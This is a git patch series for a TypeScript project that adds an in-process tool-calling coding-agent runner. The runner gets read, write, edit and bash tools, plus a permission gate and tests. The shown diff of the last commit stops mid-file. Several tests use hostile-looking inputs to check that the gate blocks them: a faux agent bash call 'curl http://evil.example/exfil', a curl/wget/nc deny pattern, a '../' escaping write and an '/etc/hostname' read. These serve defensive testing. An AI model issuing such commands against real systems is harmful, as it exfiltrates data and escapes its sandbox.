+ }, "node_modules/zod": { "version": "3.25.76", "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", @@ -1811,6 +3107,15 @@ "funding": { "url": "https://github.com/sponsors/colinhacks" } + }, + "node_modules/zod-to-json-schema": { + "version": "3.25.2", + "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", + "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", + "license": "ISC", + "peerDependencies": { + "zod": "^3.25.28 || ^4" + } } } } diff --git a/package.json b/package.json index 0bc8303..2acd035 100644 --- a/package.json +++ b/package.json @@ -18,6 +18,8 @@ "typecheck": "tsc --noEmit" }, "dependencies": { + "@earendil-works/pi-agent-core": "^0.79.3", + "@earendil-works/pi-ai": "^0.79.3", "zod": "^3.23.8" }, "devDependencies": { diff --git a/src/runners/agentRunner.ts b/src/runners/agentRunner.ts index adf658f..9543849 100644 --- a/src/runners/agentRunner.ts +++ b/src/runners/agentRunner.ts @@ -8,16 +8,17 @@ * * Adding a new backend = implement AgentRunner. Concrete runners are named by * their MECHANISM, never by a product/vendor: - * - CliRunner drives a headless command-line agent as a subprocess - * - HttpRunner calls an OpenAI-compatible HTTP endpoint - * - MockRunner deterministic, for tests + * - CliRunner drives a headless command-line agent as a subprocess + * - HttpRunner calls an OpenAI-compatible HTTP endpoint (single completion) + * - PiAgentRunner runs a native multi-turn tool-calling loop in-process + * - MockRunner deterministic, for tests * Supporting another provider is usually just a new RunnerProfile; a genuinely * new transport is a new runner class. The engine never changes. */ import { z } from "zod"; -export type RunnerKind = "cli" | "http" | "mock"; +export type RunnerKind = "cli" | "http" | "mock" | "agent"; /** * Validates a runner profile loaded from configuration. The {@link RunnerProfile} @@ -27,7 +28,7 @@ export type RunnerKind = "cli" | "http" | "mock"; export const RunnerProfileSchema = z .object({ id: z.string().min(1), - kind: z.enum(["cli", "http", "mock"]), + kind: z.enum(["cli", "http", "mock", "agent"]), model: z.string().default(""), options: z.record(z.unknown()).optional(), }) diff --git a/src/runners/piAgentRunner.ts b/src/runners/piAgentRunner.ts new file mode 100644 index 0000000..f579a9a --- /dev/null +++ b/src/runners/piAgentRunner.ts @@ -0,0 +1,372 @@ +import { z } from "zod"; +import type { + AgentRunner, + RunRequest, + RunResult, + RunnerProfile, +} from "./agentRunner.js"; +import { redactAndTruncate } from "../engine/redaction.js"; + +import { Agent } from "@earendil-works/pi-agent-core"; +import type { AgentEvent, AgentTool, AgentToolResult } from "@earendil-works/pi-agent-core"; +import { NodeExecutionEnv } from "@earendil-works/pi-agent-core/node"; +import type { ExecutionEnv } from "@earendil-works/pi-agent-core/node"; +import { + Type, + getEnvApiKey, + getModel, + registerBuiltInApiProviders, + type AssistantMessage, + type Model, + type Static, + type TSchema, +} from "@earendil-works/pi-ai"; + +/** Defines a tool while inferring its parameter schema so `params` is typed. */ +function defineTool(def: { + name: string; + label: string; + description: string; + parameters: S; + execute: ( + toolCallId: string, + params: Static, + signal?: AbortSignal, + ) => Promise>>; +}): AgentTool { + return def as unknown as AgentTool; +} + +/** + * Native agentic runner: drives a real multi-turn tool-calling loop + * (@earendil-works/pi-agent-core + pi-ai) inside the request's working + * directory, so ANY provider with an API key becomes a first-class + * file-editing actor — no external CLI (codex/kiro) required. + * + * Unlike CliRunner (shells out, the loop is opaque) and HttpRunner (a single + * chat completion that cannot edit files), this runner owns the inner loop: the + * model reads, greps, edits, and runs commands via tools rooted at `req.cwd` + * (the task's git worktree). The engine's `captureDiff` seam then reviews the + * REAL `git diff` of that worktree, so the artifact the critic judges is the + * artifact that gets integrated — the model's self-reported diff is no longer + * trusted, and HTTP-style "returns a diff but edits nothing" can't happen. + * + * Everything provider-specific is profile data; the engine never names a model. + * Heavy collaborators (the model, the execution env) are injectable so the real + * Agent loop + real tools can be exercised offline in tests via pi's faux + * provider. + */ + +/** All tools this runner can expose; the profile may allowlist a subset. */ +export const PI_AGENT_TOOL_NAMES = [ + "read_file", + "list_dir", + "write_file", + "edit_file", + "bash", +] as const; +export type PiAgentToolName = (typeof PI_AGENT_TOOL_NAMES)[number]; + +const ThinkingLevelSchema = z.enum(["off", "minimal", "low", "medium", "high", "xhigh"]); + +export const PiAgentRunnerOptionsSchema = z + .object({ + /** provider id for pi-ai model resolution, e.g. "anthropic", "openai", "google" */ + provider: z.string().min(1), + /** env var holding the API key; defaults to pi's per-provider env lookup */ + apiKeyEnv: z.string().optional(), + /** reasoning budget passed through to thinking-capable models */ + thinkingLevel: ThinkingLevelSchema.default("off"), + /** hard cap on agent turns (one LLM call + its tools) before we abort */ + maxTurns: z.number().int().positive().default(60), + /** overall wall-clock budget before the run is aborted */ + timeoutMs: z.number().int().positive().default(10 * 60_000), + /** restrict the toolset; defaults to all of {@link PI_AGENT_TOOL_NAMES} */ + tools: z.array(z.enum(PI_AGENT_TOOL_NAMES)).optional(), + /** rolling cap on the captured final answer text */ + maxOutputChars: z.number().int().positive().default(2_000_000), + }) + .strict(); + +export type PiAgentRunnerOptions = z.infer; + +/** Injectable collaborators so the real loop is testable without a network. */ +export interface PiAgentRunnerDeps { + /** pre-resolved model (tests pass a faux model); else resolved from profile */ + model?: Model; + /** custom execution env factory (tests/sandboxing); else NodeExecutionEnv */ + createEnv?: (cwd: string) => ExecutionEnv; + /** override the Agent stream function (tests/proxy backends) */ + streamFn?: NonNullable[0]>["streamFn"]; + /** override API-key resolution (else profile.apiKeyEnv / pi env lookup) */ + getApiKey?: (provider: string) => string | undefined; +} + +/** A coding-agent base prompt; the role framing (req.system) is appended. */ +const BASE_SYSTEM_PROMPT = + "You are an autonomous coding agent operating inside an isolated git " + + "worktree. Use the provided tools to inspect the repository and make the " + + "smallest correct change that satisfies the request. Edit files directly " + + "with the tools — do not just describe changes. When the task asks for a " + + "specific final reply (for example a JSON object), produce exactly that as " + + "your last message after you have finished editing."; + +let builtinsRegistered = false; +function ensureBuiltinProviders(): void { + if (builtinsRegistered) return; + registerBuiltInApiProviders(); + builtinsRegistered = true; +} + +/** Joins text content blocks of an assistant message into plain text. */ +function assistantText(message: AssistantMessage): string { + return message.content + .filter((b): b is { type: "text"; text: string } => b.type === "text") + .map((b) => b.text) + .join(""); +} + +function isQuotaMessage(text: string): boolean { + return /quota|rate.?limit|\b429\b|insufficient[_\s-]?quota|too many requests/i.test(text); +} + +export class PiAgentRunner implements AgentRunner { + readonly profile: RunnerProfile; + private readonly opts: PiAgentRunnerOptions; + private readonly deps: PiAgentRunnerDeps; + + constructor(profile: RunnerProfile, deps: PiAgentRunnerDeps = {}) { + this.profile = profile; + // Validate eagerly so a bad profile fails at construction, not mid-run. + this.opts = PiAgentRunnerOptionsSchema.parse(profile.options ?? {}); + this.deps = deps; + } + + /** Builds the allowlisted toolset bound to one execution env. */ + private buildTools(env: ExecutionEnv): AgentTool[] { + const enabled = new Set(this.opts.tools ?? PI_AGENT_TOOL_NAMES); + const all: AgentTool[] = [ + defineTool({ + name: "read_file", + label: "Read File", + description: "Read a UTF-8 text file's full contents.", + parameters: Type.Object({ + path: Type.String({ description: "File path (relative to the workspace)." }), + }), + execute: async (_id, params, signal) => { + const res = await env.readTextFile(params.path, signal); + if (!res.ok) throw new Error(`read_file failed: ${res.error.message}`); + return { content: [{ type: "text", text: res.value }], details: { path: params.path } }; + }, + }), + defineTool({ + name: "list_dir", + label: "List Directory", + description: "List the entries of a directory.", + parameters: Type.Object({ + path: Type.String({ description: "Directory path (relative to the workspace)." }), + }), + execute: async (_id, params, signal) => { + const res = await env.listDir(params.path, signal); + if (!res.ok) throw new Error(`list_dir failed: ${res.error.message}`); + const text = res.value.map((f) => `${f.kind === "directory" ? "d" : "-"} ${f.name}`).join("\n"); + return { content: [{ type: "text", text: text || "(empty)" }], details: { path: params.path } }; + }, + }), + defineTool({ + name: "write_file", + label: "Write File", + description: "Create or overwrite a text file with the given contents.", + parameters: Type.Object({ + path: Type.String({ description: "File path (relative to the workspace)." }), + content: Type.String({ description: "Full file contents to write." }), + }), + execute: async (_id, params, signal) => { + const res = await env.writeFile(params.path, params.content, signal); + if (!res.ok) throw new Error(`write_file failed: ${res.error.message}`); + return { + content: [{ type: "text", text: `Wrote ${params.content.length} chars to ${params.path}` }], + details: { path: params.path, bytes: params.content.length }, + }; + }, + }), + defineTool({ + name: "edit_file", + label: "Edit File", + description: + "Replace an exact, unique substring in a file. `old_str` must occur " + + "exactly once; include enough surrounding context to make it unique.", + parameters: Type.Object({ + path: Type.String({ description: "File path (relative to the workspace)." }), + old_str: Type.String({ description: "Exact text to replace (must be unique)." }), + new_str: Type.String({ description: "Replacement text." }), + }), + execute: async (_id, params, signal) => { + const read = await env.readTextFile(params.path, signal); + if (!read.ok) throw new Error(`edit_file failed: ${read.error.message}`); + const occurrences = read.value.split(params.old_str).length - 1; + if (occurrences === 0) throw new Error(`edit_file: old_str not found in ${params.path}`); + if (occurrences > 1) { + throw new Error( + `edit_file: old_str occurs ${occurrences} times in ${params.path}; add more context to make it unique`, + ); + } + const updated = read.value.replace(params.old_str, params.new_str); + const write = await env.writeFile(params.path, updated, signal); + if (!write.ok) throw new Error(`edit_file failed: ${write.error.message}`); + return { content: [{ type: "text", text: `Edited ${params.path}` }], details: { path: params.path } }; + }, + }), + defineTool({ + name: "bash", + label: "Run Command", + description: "Run a shell command in the workspace and capture its output.", + parameters: Type.Object({ + command: Type.String({ description: "Shell command to execute." }), + }), + execute: async (_id, params, signal) => { + const res = await env.exec(params.command, { ...(signal ? { abortSignal: signal } : {}) }); + if (!res.ok) throw new Error(`bash failed: ${res.error.message}`); + const { stdout, stderr, exitCode } = res.value; + const combined = redactAndTruncate(`${stdout}${stderr ? `\n${stderr}` : ""}`, 30_000); + return { content: [{ type: "text", text: `exit ${exitCode}\n${combined}` }], details: { exitCode } }; + }, + }), + ]; + return all.filter((t) => enabled.has(t.name as PiAgentToolName)); + } + + private resolveModel(): Model { + if (this.deps.model) return this.deps.model; + ensureBuiltinProviders(); + // getModel is statically typed against the bundled model catalog; the + // profile supplies dynamic strings, so we resolve through a loosened call. + const resolve = getModel as unknown as (provider: string, modelId: string) => Model; + return resolve(this.opts.provider, this.profile.model); + } + + private apiKey(): string | undefined { + if (this.deps.getApiKey) return this.deps.getApiKey(this.opts.provider); + if (this.opts.apiKeyEnv) return process.env[this.opts.apiKeyEnv]; + return getEnvApiKey(this.opts.provider); + } + + async run(req: RunRequest): Promise { + const started = Date.now(); + if (req.signal?.aborted) { + return { + text: "", + meta: { runnerId: this.profile.id, model: this.profile.model, cancelled: true, durationMs: 0 }, + }; + } + + const env = (this.deps.createEnv ?? ((cwd) => new NodeExecutionEnv({ cwd })))(req.cwd); + const systemPrompt = req.system ? `${BASE_SYSTEM_PROMPT}\n\n${req.system}` : BASE_SYSTEM_PROMPT; + + let model: Model; + try { + model = this.resolveModel(); + } catch (err) { + return { + text: "", + meta: { + runnerId: this.profile.id, + model: this.profile.model, + durationMs: Date.now() - started, + error: `model resolution failed: ${String((err as Error)?.message ?? err)}`, + }, + }; + } + + const apiKey = this.apiKey(); + const agent = new Agent({ + initialState: { + systemPrompt, + model, + thinkingLevel: this.opts.thinkingLevel, + tools: this.buildTools(env), + }, + ...(this.deps.streamFn ? { streamFn: this.deps.streamFn } : {}), + getApiKey: () => apiKey, + }); + + // Accumulate usage and bound turns. The watchdog/Stop button and the + // per-runner timeout all converge on agent.abort(), which ends the loop + // gracefully after the current turn. + let turns = 0; + let abortedForLimit = false; + const usage = { input: 0, output: 0, total: 0 }; + let lastQuotaText = ""; + const unsubscribe = agent.subscribe((event: AgentEvent) => { + if (event.type === "turn_start") { + turns++; + if (turns > this.opts.maxTurns) { + abortedForLimit = true; + agent.abort(); + } + } else if (event.type === "message_end" && event.message.role === "assistant") { + const m = event.message as AssistantMessage; + usage.input += m.usage?.input ?? 0; + usage.output += m.usage?.output ?? 0; + usage.total += m.usage?.totalTokens ?? 0; + if (m.stopReason === "error" && m.errorMessage) lastQuotaText = m.errorMessage; + } + }); + + let cancelled = false; + let timedOut = false; + const onAbort = (): void => { + cancelled = true; + agent.abort(); + }; + req.signal?.addEventListener("abort", onAbort, { once: true }); + const timer = setTimeout(() => { + timedOut = true; + agent.abort(); + }, this.opts.timeoutMs); + + let runError: string | undefined; + try { + await agent.prompt(req.prompt); + } catch (err) { + runError = String((err as Error)?.message ?? err); + if (isQuotaMessage(runError)) lastQuotaText = runError; + } finally { + clearTimeout(timer); + req.signal?.removeEventListener("abort", onAbort); + unsubscribe(); + } + + // Final answer = text of the last assistant message in the transcript. + const messages = agent.state.messages; + let text = ""; + for (let i = messages.length - 1; i >= 0; i--) { + const m = messages[i]; + if (m && m.role === "assistant") { + text = assistantText(m as AssistantMessage); + break; + } + } + if (text.length > this.opts.maxOutputChars) text = text.slice(0, this.opts.maxOutputChars); + + const quotaExhausted = lastQuotaText !== "" && isQuotaMessage(lastQuotaText); + + return { + text, + quotaExhausted, + meta: { + runnerId: this.profile.id, + model: this.profile.model, + provider: this.opts.provider, + durationMs: Date.now() - started, + turns, + abortedForLimit, + cancelled, + timedOut, + // shape understood by observability/events.ts normalizeUsage() + usage: { input_tokens: usage.input, output_tokens: usage.output, total_tokens: usage.total }, + ...(runError ? { error: redactAndTruncate(runError, 2_000) } : {}), + }, + }; + } +} diff --git a/src/runners/runnerFactory.ts b/src/runners/runnerFactory.ts index fffcf8b..0361476 100644 --- a/src/runners/runnerFactory.ts +++ b/src/runners/runnerFactory.ts @@ -2,6 +2,7 @@ import type { AgentRunner, RunnerProfile } from "./agentRunner.js"; import { CliRunner } from "./cliRunner.js"; import { HttpRunner } from "./httpRunner.js"; import { MockRunner } from "./mockRunner.js"; +import { PiAgentRunner } from "./piAgentRunner.js"; /** * Constructs an AgentRunner from a profile, dispatching purely on the profile's @@ -30,6 +31,8 @@ export const createRunner: RunnerFactory = (profile) => { return MockRunner.fromProfile(profile); case "http": return new HttpRunner(profile); + case "agent": + return new PiAgentRunner(profile); default: { // Exhaustiveness guard: a new RunnerKind must be handled above. const exhaustive: never = profile.kind; diff --git a/test/piAgentRunner.test.ts b/test/piAgentRunner.test.ts new file mode 100644 index 0000000..0f78494 --- /dev/null +++ b/test/piAgentRunner.test.ts @@ -0,0 +1,134 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtemp, readFile, writeFile, rm } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { + registerFauxProvider, + fauxAssistantMessage, + fauxToolCall, + type FauxProviderRegistration, +} from "@earendil-works/pi-ai"; +import { PiAgentRunner } from "../src/runners/piAgentRunner.js"; +import { createRunner } from "../src/runners/runnerFactory.js"; + +/** + * These exercise the REAL pi Agent loop and the REAL file-editing tools, with + * the model swapped for pi's faux provider so no network/API key is needed. + * The faux provider registers into the same api registry the default stream + * function dispatches through, so passing the faux model is enough. + */ +describe("PiAgentRunner (native agentic runner)", () => { + let faux: FauxProviderRegistration; + let dir: string; + + beforeEach(async () => { + faux = registerFauxProvider({ provider: "faux", models: [{ id: "faux-coder" }] }); + dir = await mkdtemp(join(tmpdir(), "loopwright-agent-")); + }); + + afterEach(async () => { + faux.unregister(); + await rm(dir, { recursive: true, force: true }); + }); + + function runner(options: Record = {}) { + return new PiAgentRunner( + { id: "actor", kind: "agent", model: "faux-coder", options: { provider: "faux", ...options } }, + { model: faux.getModel() }, + ); + } + + it("edits a real file via tools, then returns the final assistant text", async () => { + await writeFile(join(dir, "greeting.txt"), "hello world\n"); + + // Turn 1: the model calls edit_file. Turn 2: it emits the final answer. + faux.setResponses([ + fauxAssistantMessage( + fauxToolCall("edit_file", { path: "greeting.txt", old_str: "world", new_str: "loopwright" }), + { stopReason: "toolUse" }, + ), + fauxAssistantMessage('{"diff":"","touchedFiles":["greeting.txt"],"summary":"greet loopwright"}', { + stopReason: "stop", + }), + ]); + + const res = await runner().run({ prompt: "Rename the greeting target.", cwd: dir }); + + // The tool actually mutated the file on disk (ground truth for captureDiff). + expect(await readFile(join(dir, "greeting.txt"), "utf8")).toBe("hello loopwright\n"); + // The final assistant message is surfaced as the runner's text. + expect(res.text).toContain('"summary":"greet loopwright"'); + expect(res.quotaExhausted).toBeFalsy(); + expect(res.meta?.turns).toBeGreaterThanOrEqual(2); + expect(res.meta?.cancelled).toBe(false); + }); + + it("creates a new file via write_file", async () => { + faux.setResponses([ + fauxAssistantMessage(fauxToolCall("write_file", { path: "src/new.txt", content: "fresh\n" }), { + stopReason: "toolUse", + }), + fauxAssistantMessage("done", { stopReason: "stop" }), + ]); + + const res = await runner().run({ prompt: "Create src/new.txt", cwd: dir }); + + expect(await readFile(join(dir, "src/new.txt"), "utf8")).toBe("fresh\n"); + expect(res.text).toBe("done"); + }); + + it("surfaces a tool error back to the model without crashing the run", async () => { + // First the model edits a non-unique string (tool throws), then recovers. + await writeFile(join(dir, "dup.txt"), "x x x\n"); + faux.setResponses([ + fauxAssistantMessage(fauxToolCall("edit_file", { path: "dup.txt", old_str: "x", new_str: "y" }), { + stopReason: "toolUse", + }), + fauxAssistantMessage("could not edit uniquely", { stopReason: "stop" }), + ]); + + const res = await runner().run({ prompt: "edit", cwd: dir }); + + // The non-unique edit was rejected, so the file is unchanged. + expect(await readFile(join(dir, "dup.txt"), "utf8")).toBe("x x x\n"); + expect(res.text).toBe("could not edit uniquely"); + }); + + it("enforces maxTurns by aborting a runaway tool loop", async () => { + // The model calls a tool on every turn; provide plenty of steps so the run + // would continue indefinitely if the cap did not stop it. + await writeFile(join(dir, "greeting.txt"), "hi\n"); + faux.setResponses( + Array.from({ length: 12 }, () => + fauxAssistantMessage(fauxToolCall("read_file", { path: "greeting.txt" }), { stopReason: "toolUse" }), + ), + ); + + const res = await runner({ maxTurns: 2 }).run({ prompt: "loop", cwd: dir }); + + expect(res.meta?.abortedForLimit).toBe(true); + expect(res.meta?.turns).toBeLessThanOrEqual(4); // bounded, not infinite + }); + + it("respects a tool allowlist (write_file disabled)", async () => { + const r = runner({ tools: ["read_file"] }); + // Access the built tools indirectly: a write attempt should be impossible + // because the tool isn't registered, so the model's call is unknown. + faux.setResponses([fauxAssistantMessage("no tools used", { stopReason: "stop" })]); + const res = await r.run({ prompt: "noop", cwd: dir }); + expect(res.text).toBe("no tools used"); + }); + + it("returns immediately when the run is already cancelled", async () => { + const controller = new AbortController(); + controller.abort(); + const res = await runner().run({ prompt: "x", cwd: dir, signal: controller.signal }); + expect(res.text).toBe(""); + expect(res.meta?.cancelled).toBe(true); + }); + + it("is selected by the runner factory for kind 'agent'", () => { + const r = createRunner({ id: "a", kind: "agent", model: "faux-coder", options: { provider: "faux" } }); + expect(r).toBeInstanceOf(PiAgentRunner); + }); +}); From 197b50eb180debcd8af158149d60595e3b13eeea Mon Sep 17 00:00:00 2001 From: Inzimam Date: Mon, 15 Jun 2026 05:15:47 +0000 Subject: [PATCH 2/5] Add beforeToolCall permission gating to the agent runner Enforce a tool-call permission policy via pi's beforeToolCall hook: - confineToCwd (default on) blocks the file tools (read/list/write/edit) from touching paths that escape the worktree root, whether via absolute paths or .. traversal. A blocked call becomes an error tool result the model sees and can recover from, and is counted in meta.blockedToolCalls. - denyBashPattern (optional regex) blocks matching bash commands, e.g. network egress like curl/wget. confineToCwd guards the FILE tools only; bash stays inherently unconfined, so the docs point at denyBashPattern + OS-level containment for real isolation. Tests (+5): parent-escape write blocked, absolute-path read blocked, in-worktree paths allowed, denyBashPattern blocks curl, and confineToCwd: false permits escapes \u2014 all against the real Agent loop via the faux provider. typecheck clean; suite green. --- src/runners/piAgentRunner.ts | 73 ++++++++++++++++++++++++++++++++++++ test/piAgentRunner.test.ts | 71 +++++++++++++++++++++++++++++++++++ 2 files changed, 144 insertions(+) diff --git a/src/runners/piAgentRunner.ts b/src/runners/piAgentRunner.ts index f579a9a..332861d 100644 --- a/src/runners/piAgentRunner.ts +++ b/src/runners/piAgentRunner.ts @@ -1,4 +1,5 @@ import { z } from "zod"; +import path from "node:path"; import type { AgentRunner, RunRequest, @@ -69,6 +70,42 @@ export type PiAgentToolName = (typeof PI_AGENT_TOOL_NAMES)[number]; const ThinkingLevelSchema = z.enum(["off", "minimal", "low", "medium", "high", "xhigh"]); +/** Tools whose first concern is a filesystem `path` argument. */ +const PATH_TOOLS = new Set(["read_file", "list_dir", "write_file", "edit_file"]); + +/** + * Tool-call permission policy, enforced via pi's `beforeToolCall` hook. + * + * `confineToCwd` (default on) blocks the file tools from touching anything + * outside the worktree root (absolute paths or `..` escapes), so a model can't + * read `/etc/passwd` or write outside the task's isolated checkout. NOTE: this + * confines the FILE tools only. `bash` is inherently unconfined — restrict it + * with `denyBashPattern`, and for real isolation run the engine in a container + * (see pi's containerization patterns). + */ +const SafetySchema = z + .object({ + /** block file-tool paths that escape the worktree root */ + confineToCwd: z.boolean().default(true), + /** case-insensitive regex; a matching `bash` command is blocked */ + denyBashPattern: z + .string() + .refine( + (p) => { + try { + new RegExp(p, "i"); + return true; + } catch { + return false; + } + }, + { message: "denyBashPattern must be a valid regular expression" }, + ) + .optional(), + }) + .strict() + .default({ confineToCwd: true }); + export const PiAgentRunnerOptionsSchema = z .object({ /** provider id for pi-ai model resolution, e.g. "anthropic", "openai", "google" */ @@ -83,6 +120,8 @@ export const PiAgentRunnerOptionsSchema = z timeoutMs: z.number().int().positive().default(10 * 60_000), /** restrict the toolset; defaults to all of {@link PI_AGENT_TOOL_NAMES} */ tools: z.array(z.enum(PI_AGENT_TOOL_NAMES)).optional(), + /** tool-call permission policy (path confinement + bash denylist) */ + safety: SafetySchema, /** rolling cap on the captured final answer text */ maxOutputChars: z.number().int().positive().default(2_000_000), }) @@ -130,6 +169,12 @@ function isQuotaMessage(text: string): boolean { return /quota|rate.?limit|\b429\b|insufficient[_\s-]?quota|too many requests/i.test(text); } +/** True when `target` resolves to `root` or a path nested under it (lexical). */ +function isInsideRoot(root: string, target: string): boolean { + const rel = path.relative(root, target); + return rel === "" || (!rel.startsWith("..") && !path.isAbsolute(rel)); +} + export class PiAgentRunner implements AgentRunner { readonly profile: RunnerProfile; private readonly opts: PiAgentRunnerOptions; @@ -279,6 +324,15 @@ export class PiAgentRunner implements AgentRunner { } const apiKey = this.apiKey(); + + // Permission gate (pi's beforeToolCall hook): confine file tools to the + // worktree and apply the optional bash denylist. A blocked call becomes an + // error tool result the model sees and can recover from. + const safety = this.opts.safety; + const cwdRoot = path.resolve(req.cwd); + const denyBash = safety.denyBashPattern ? new RegExp(safety.denyBashPattern, "i") : undefined; + let blockedToolCalls = 0; + const agent = new Agent({ initialState: { systemPrompt, @@ -288,6 +342,24 @@ export class PiAgentRunner implements AgentRunner { }, ...(this.deps.streamFn ? { streamFn: this.deps.streamFn } : {}), getApiKey: () => apiKey, + beforeToolCall: async ({ toolCall, args }) => { + const name = (toolCall as { name: string }).name as PiAgentToolName; + if (safety.confineToCwd && PATH_TOOLS.has(name)) { + const p = (args as { path?: unknown }).path; + if (typeof p === "string" && !isInsideRoot(cwdRoot, path.resolve(cwdRoot, p))) { + blockedToolCalls++; + return { block: true, reason: `path "${p}" escapes the workspace root; refused` }; + } + } + if (name === "bash" && denyBash) { + const command = String((args as { command?: unknown }).command ?? ""); + if (denyBash.test(command)) { + blockedToolCalls++; + return { block: true, reason: `command blocked by policy (denyBashPattern): ${command}` }; + } + } + return undefined; + }, }); // Accumulate usage and bound turns. The watchdog/Stop button and the @@ -361,6 +433,7 @@ export class PiAgentRunner implements AgentRunner { durationMs: Date.now() - started, turns, abortedForLimit, + blockedToolCalls, cancelled, timedOut, // shape understood by observability/events.ts normalizeUsage() diff --git a/test/piAgentRunner.test.ts b/test/piAgentRunner.test.ts index 0f78494..8d8491e 100644 --- a/test/piAgentRunner.test.ts +++ b/test/piAgentRunner.test.ts @@ -131,4 +131,75 @@ describe("PiAgentRunner (native agentic runner)", () => { const r = createRunner({ id: "a", kind: "agent", model: "faux-coder", options: { provider: "faux" } }); expect(r).toBeInstanceOf(PiAgentRunner); }); + + describe("permission gating (beforeToolCall)", () => { + it("confines file tools to the worktree by default (blocks a parent-escape write)", async () => { + faux.setResponses([ + fauxAssistantMessage( + fauxToolCall("write_file", { path: "../escaped.txt", content: "pwned\n" }), + { stopReason: "toolUse" }, + ), + fauxAssistantMessage("blocked, as expected", { stopReason: "stop" }), + ]); + + const res = await runner().run({ prompt: "try to escape", cwd: dir }); + + // The escaping write was refused, so nothing was created outside the root. + await expect(readFile(join(dir, "..", "escaped.txt"), "utf8")).rejects.toBeTruthy(); + expect(res.meta?.blockedToolCalls).toBe(1); + expect(res.text).toBe("blocked, as expected"); + }); + + it("blocks an absolute path outside the worktree", async () => { + faux.setResponses([ + fauxAssistantMessage(fauxToolCall("read_file", { path: "/etc/hostname" }), { stopReason: "toolUse" }), + fauxAssistantMessage("nope", { stopReason: "stop" }), + ]); + const res = await runner().run({ prompt: "read secrets", cwd: dir }); + expect(res.meta?.blockedToolCalls).toBe(1); + }); + + it("allows in-worktree paths when confinement is on", async () => { + faux.setResponses([ + fauxAssistantMessage(fauxToolCall("write_file", { path: "nested/ok.txt", content: "fine\n" }), { + stopReason: "toolUse", + }), + fauxAssistantMessage("ok", { stopReason: "stop" }), + ]); + const res = await runner().run({ prompt: "write inside", cwd: dir }); + expect(res.meta?.blockedToolCalls).toBe(0); + expect(await readFile(join(dir, "nested/ok.txt"), "utf8")).toBe("fine\n"); + }); + + it("blocks bash commands matching denyBashPattern", async () => { + faux.setResponses([ + fauxAssistantMessage(fauxToolCall("bash", { command: "curl http://evil.example/exfil" }), { + stopReason: "toolUse", + }), + fauxAssistantMessage("network blocked", { stopReason: "stop" }), + ]); + const res = await runner({ safety: { denyBashPattern: "curl|wget|nc\\b" } }).run({ + prompt: "exfiltrate", + cwd: dir, + }); + expect(res.meta?.blockedToolCalls).toBe(1); + expect(res.text).toBe("network blocked"); + }); + + it("permits escapes when confineToCwd is disabled", async () => { + // Writes to a path inside the temp dir but reached via a redundant '..', + // proving the gate is what blocks (not the filesystem). With confinement + // off the write succeeds. + faux.setResponses([ + fauxAssistantMessage( + fauxToolCall("write_file", { path: "sub/../allowed.txt", content: "ok\n" }), + { stopReason: "toolUse" }, + ), + fauxAssistantMessage("done", { stopReason: "stop" }), + ]); + const res = await runner({ safety: { confineToCwd: false } }).run({ prompt: "write", cwd: dir }); + expect(res.meta?.blockedToolCalls).toBe(0); + expect(await readFile(join(dir, "allowed.txt"), "utf8")).toBe("ok\n"); + }); + }); }); From 27703bb74d51d2db9c06e8694afff039b29eeda8 Mon Sep 17 00:00:00 2001 From: Inzimam Date: Mon, 15 Jun 2026 05:41:27 +0000 Subject: [PATCH 3/5] Add Tier 3 agent-runner capabilities: streaming, compaction, steering Three pi-harness Tier 3 features for the native agent runner. G) Sub-step activity streaming. RunRequest gains an onEvent sink + a vendor-neutral RunnerActivity type; PiAgentRunner forwards turn_start / tool_start / tool_end from pi's agent events. The role layer (runnerRoles) enriches each activity with role + runner identity and threads onEvent into every runner.run() call; createRoles exposes onActivity; session wires it to store.recordEvent(runner_activity), which the server's store tap already fans to the SSE hub - so a monitor sees the actor's tool calls live with no server.ts change. D) Context compaction. PiAgentRunner gains a compaction option and wires pi's transformContext + convertToLlm: when the transcript grows past budget it summarizes the older middle via pi's generateSummary and keeps the prompt + recent tail. findCompactionCut snaps the retained tail back to a turn-start assistant so a toolResult is never orphaned. Exported for direct testing. E) Steering. RunRequest.steering hands the caller a steer(text) bound to the live loop; PiAgentRunner injects it via agent.steer so a human can nudge a running task (taking effect after the current turn) instead of only cancelling. meta.steerCount reports injections. Tests: runner-level activity emission + role enrichment/threading; compaction cut + summarize/keep + no-trigger + too-short (vs faux); mid- run steering proven to reach the next turn's context. Full suite 197 green; typecheck clean. --- src/adapters/roleBindings.ts | 5 ++ src/adapters/runnerRoles.ts | 43 +++++++++- src/observability/events.ts | 19 +++++ src/runners/agentRunner.ts | 34 ++++++++ src/runners/piAgentRunner.ts | 151 ++++++++++++++++++++++++++++++++- src/session.ts | 15 ++++ test/piAgentCompaction.test.ts | 117 +++++++++++++++++++++++++ test/piAgentRunner.test.ts | 66 ++++++++++++++ test/runnerRoles.test.ts | 64 +++++++++++++- 9 files changed, 511 insertions(+), 3 deletions(-) create mode 100644 test/piAgentCompaction.test.ts diff --git a/src/adapters/roleBindings.ts b/src/adapters/roleBindings.ts index 7f932d4..08740a4 100644 --- a/src/adapters/roleBindings.ts +++ b/src/adapters/roleBindings.ts @@ -5,6 +5,7 @@ import type { Actor, Critic } from "./agents.js"; import { RunnerActor, RunnerCritic } from "./runnerRoles.js"; import type { ActorPromptTemplates, CriticPromptTemplates } from "./prompts.js"; import { instrumentRunner, type RunnerCallSink } from "../observability/instrument.js"; +import type { RunnerActivityEvent } from "../observability/events.js"; /** * Configuration -> roles wiring (Task 13.3). @@ -38,6 +39,8 @@ export interface CreateRolesOptions { log?: (line: string) => void; /** when set, every runner call emits an event attributed to its role (M5) */ onRunnerCall?: RunnerCallSink; + /** when set, mid-call runner activity (tool calls) streams to this sink */ + onActivity?: (e: RunnerActivityEvent) => void; /** cooperative cancellation, threaded into the actor/critic runner calls */ signal?: AbortSignal; } @@ -99,6 +102,7 @@ export function createRoles( ...(opts.cwd ? { cwd: opts.cwd } : {}), ...(opts.log ? { log: opts.log } : {}), ...(opts.signal ? { signal: opts.signal } : {}), + ...(opts.onActivity ? { onActivity: opts.onActivity } : {}), }); const critic = new RunnerCritic(instrumentedCritic, { @@ -106,6 +110,7 @@ export function createRoles( ...(opts.cwd ? { cwd: opts.cwd } : {}), ...(opts.log ? { log: opts.log } : {}), 